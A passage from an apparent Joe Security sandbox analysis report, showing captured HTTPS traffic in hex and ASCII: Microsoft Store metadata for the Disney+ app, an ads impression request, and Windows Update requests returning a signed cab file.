68 74 22 3a 32 31 36 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 58 62 6f 78 2f 36 22 2c 22 49 
6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 
65 53 48 41 32 35 36 48 61 73 68 22 3a 22 4e 32 77 69 45 4a 51 4c 61 71 73 69 53 55 45 43 42 54 54 50 46 35 79 70 57 
69 43 32 41 33 45 6f 77 2b 43 41 39 55 53 6a 30 43 34 3d 22 2c 22 
Data Ascii: gIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3057195,"ForegroundColor":"
","Height":2160,"ImagePositionInfo":"Xbox/6","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"N2wiEJQLaq
siSUECBTTPF5ypWiC2A3Eow+CA9USj0C4=","

2022-05-13 14:43:07 UTC 11177 IN Data Raw: 22 2c 22 41 4d 22 2c 22 41 57 22 2c 22 42 4f 22 2c 22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 
2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 
22 2c 22 43 46 22 2c 22 54 44 22 2c 22 54 4c 22 2c 22 44 4a 22 2c 22 44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 53 56
22 2c 22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22 2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 
46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 4
7 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22
48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 
Data Ascii: ","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","
DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","
GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 107 of 286



2022-05-13 14:43:07 UTC 11181 IN Data Raw: 2c 22 42 52 22 2c 22 42 47 22 2c 22 43 41 22 2c 22 43 4c 22 2c 22 43 4e 22 2c 22 43 4f 22 2c 22 43 52 22 2c 
22 48 52 22 2c 22 43 59 22 2c 22 43 5a 22 2c 22 44 4b 22 2c 22 45 47 22 2c 22 45 45 22 2c 22 46 49 22 2c 22 46 52 22 
2c 22 44 45 22 2c 22 47 52 22 2c 22 47 54 22 2c 22 48 4b 22 2c 22 48 55 22 2c 22 49 53 22 2c 22 49 4e 22 2c 22 49 44 
22 2c 22 49 51 22 2c 22 49 45 22 2c 22 49 4c 22 2c 22 49 54 22 2c 22 4a 50 22 2c 22 4a 4f 22 2c 22 4b 5a 22 2c 22 4b 4
5 22 2c 22 4b 57 22 2c 22 4c 56 22 2c 22 4c 42 22 2c 22 4c 49 22 2c 22 4c 54 22 2c 22 4c 55 22 2c 22 4d 59 22 2c 22 4d 
54 22 2c 22 4d 52 22 2c 22 4d 58 22 2c 22 4d 41 22 2c 22 4e 4c 22 2c 22 4e 5a 22 2c 22 4e 47 22 2c 22 4e 4f 22 2c 22 
4f 4d 22 2c 22 50 4b 22 2c 22 50 45 22 2c 22 50 48 22 2c 22 50 4c 22 
Data Ascii: ,"BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","H
U","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","N
Z","NG","NO","OM","PK","PE","PH","PL"

2022-05-13 14:43:07 UTC 11185 IN Data Raw: 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 
44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 31 2e 32 37 2e 31 2e 37 30 5f 61 72 6d 36 34 5f 5f 36 72 
61 72 66 39 73 61 34 76 38 6a 74 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 34 
65 37 32 33 32 33 32 2d 37 62 36 30 2d 34 66 37 32 2d 39 39 32 35 2d 39 30 32 66 37 35 36 61 38 33 62 32 5c 22 2c 5c 
22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 
6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 
6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 
Data Ascii: ain\":false,\"content.packageId\":\"Disney.37853FC22B2CE_1.27.1.70_arm64__6rarf9sa4v8jt\",\"conten
t.productId\":\"4e723232-7b60-4f72-9925-902f756a83b2\",\"content.targetPlatforms\":[{\"platform.maxVersionTest
ed\":2814751014977536,\"platform.minVersion\":2

2022-05-13 14:43:07 UTC 11189 IN Data Raw: 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 33 
2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 
69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 
22 6c 65 76 65 6c 5c 22 3a 38 31 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 3
5 31 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 
65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 32 2c 5c 22 73 79 73 74 65 
Data Ascii: :false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"lev
el\":81,\"systemId\":5},{\"level\":51,\"systemId\":12},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":72,
\"syste

2022-05-13 14:43:07 UTC 11193 IN Data Raw: 66 2d 34 32 37 61 2d 34 30 66 61 2d 62 66 61 36 2d 30 64 65 37 62 38 35 35 34 38 34 30 22 2c 22 50 61 63 
6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 
72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6
e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 
69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 
65 63 74 75 72 65 73 22 3a 5b 22 78 38 36 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 
6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 
Data Ascii: f-427a-40fa-bfa6-0de7b8554840","PackageFamilyName":"Disney.37853FC22B2CE_6rarf9sa4v8jt","SkuId":"0
010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["x86"],"Capabilities":
["internetClient","privateNetwo

2022-05-13 14:43:07 UTC 11197 IN Data Raw: 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 
74 79 49 64 22 3a 22 39 53 47 58 32 32 32 54 4b 34 39 53 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 
65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 
78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 6
1 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 2c 7b 22 4d 61 78 56 65 72 73 
69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 
4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 2c 
Data Ascii: ailabilityUnifiedApp;3","AvailabilityId":"9SGX222TK49S","Conditions":{"ClientConditions":{"AllowedPlatforms":
[{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Desktop"},{"MaxVersion":2147483647,"MinVersi
on":0,"PlatformName":"Windows.Xbox"},

2022-05-13 14:43:07 UTC 11201 IN Data Raw: 6f 20 75 70 64 61 74 65 20 74 68 65 69 72 20 50 61 72 65 6e 74 61 6c 20 43 6f 6e 74 72 6f 6c 73 2e 20 54 68 
69 73 20 69 6e 63 6c 75 64 65 73 20 74 68 65 20 6f 70 74 69 6f 6e 20 74 6f 20 73 65 6c 65 63 74 20 63 6f 6e 74 65 6e 74 
20 72 61 74 69 6e 67 73 20 72 65 73 74 72 69 63 74 69 6f 6e 73 20 66 6f 72 20 65 61 63 68 20 70 72 6f 66 69 6c 65 20 61 
73 20 77 65 6c 6c 20 61 73 20 74 6f 20 61 64 64 20 61 20 50 49 4e 20 74 6f 20 6c 6f 63 6b 20 70 72 6f 66 69 6c 65 73 2e 
20 54 68 6f 73 65 20 74 68 61 74 20 63 68 6f 6f 73 65 20 74 6f 20 6b 65 65 70 20 74 68 65 69 72 20 73 65 74 74 69 6e 67 
73 20 74 68 65 20 73 61 6d 65 20 77 69 6c 6c 20 63 6f 6e 74 69 6e 75 65 20 74 6f 20 65 6e 6a 6f 79 20 44 69 73 6e 65 
79 2b 20 61 73 20 74 68 65 79 20 61 6c 77 61 79 73 20 68 61 
Data Ascii: o update their Parental Controls. This includes the option to select content ratings restrictions for each profile 
as well as to add a PIN to lock profiles. Those that choose to keep their settings the same will continue to enjoy Disney+ 
as they always ha

2022-05-13 14:43:07 UTC 11205 IN Data Raw: 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 34 65 37 32 33 32 33 32 2d 37 62 36 30 2d 34 66 
37 32 2d 39 39 32 35 2d 39 30 32 66 37 35 36 61 38 33 62 32 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 
50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 
64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 
69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 7
4 5c 22 3a 35 7d 2c 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 
31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 
Data Ascii: ntent.productId\":\"4e723232-7b60-4f72-9925-902f756a83b2\",\"content.targetPlatforms\":[{\"platform.maxVersi
onTested\":2814751014977536,\"platform.minVersion\":2814751014977536,\"platform.target\":5},{\"platform.maxVer
sionTested\":2814751014977536,\"platf

2022-05-13 14:43:07 UTC 11209 IN Data Raw: 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 
22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 32 2c 5c 22 73 
79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 
22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 7
5 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 58 51 58 58 4c 46 53 54 
38 39 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 34 64 36 65 30 62 33 61 2d 66 39 62 30 2d 34 62 32 63 2d 62 65 
36 35 2d 39 34 62 63 37 32 38 36 62 37 35 39 22 2c 22 57 75 43 61 74 
Data Ascii: level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":72,\"systemId\":15},{\"level\":67,\"systemId\":13
}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NXQXXLFST89","WuBundleId":"4d6e0b3a-f9b0-4b2c-
be65-94bc7286b759","WuCat
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2022-05-13 14:43:07 UTC 11213 IN Data Raw: 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 5d 2c 22 43 
61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 
4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 68 65 76 63 50 6c 61 79 62 61 63 6b 22 5d 2c 22 45 7
8 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 
22 3a 38 39 30 37 38 34 37 37 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 34 36 
36 39 39 35 32 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 
6d 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 
Data Ascii: :"App"}],"Architectures":["x64"],"Capabilities":["internetClient","privateNetworkClientServer","hevcPlayback
"],"ExperienceIds":[],"MaxDownloadSizeInBytes":89078477,"MaxInstallSizeInBytes":124669952,"PackageFormat":"Msi
x","PackageFamilyName":"Disney.37853F

2022-05-13 14:43:07 UTC 11217 IN Data Raw: 6b 22 3a 33 30 30 30 31 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 
61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 
3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 
77 73 2e 58 62 6f 78 22 7d 2c 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 
2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 
6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 
6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 
Data Ascii: k":30001,"PlatformDependencies":[{"MaxTested":2814751014977536,"MinVersion":2814751014977536,"Plat
formName":"Windows.Xbox"},{"MaxTested":2814751014977536,"MinVersion":2814751014977536,"PlatformName"
:"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob

2022-05-13 14:43:07 UTC 11221 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

145 192.168.2.3 49972 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:08 UTC 11221 OUT GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKT
OP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700
129702&AN=475668169&PG=PC000P0FR5.0000000IRT&REQASID=8282445926A54EAB8F11499A93C8D1DE&UNID
=338388&ASID=2359e473635343e285fa70e4646568eb&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOB
ALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=8a834b
bf089348c1b3bfe0d1c305e09e&DEVOSVER=10.0.17134.1&REQT=20220513T144155&TIME=20220513T234235
Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:08 UTC 11221 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2fded8e8-d59c-4fde-bd8a-6e16c31d4d44
Date: Fri, 13 May 2022 14:43:08 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

146 192.168.2.3 49973 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:09 UTC 11222 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:09 UTC 11222 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 93f51515-8d80-438b-b49b-c4e48624e36c
MS-RequestId: 63a08dad-07a6-4700-9b83-edd0ecf78251
MS-CV: MI+qlQQJq0GQcTpl.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:09 GMT
Connection: close
Content-Length: 35877
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2022-05-13 14:43:09 UTC 11222 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:09 UTC 11238 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:09 UTC 11254 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

147 192.168.2.3 49974 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:09 UTC 11257 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:10 UTC 11258 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 378d1f25-c995-4035-9fe1-cfd890fbb1d9
MS-RequestId: 8a82caf5-4e14-4bdf-8d06-e9efcb40e479
MS-CV: Sd//wrdaq0qCMmbq.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:09 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:10 UTC 11258 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:10 UTC 11274 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:10 UTC 11290 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
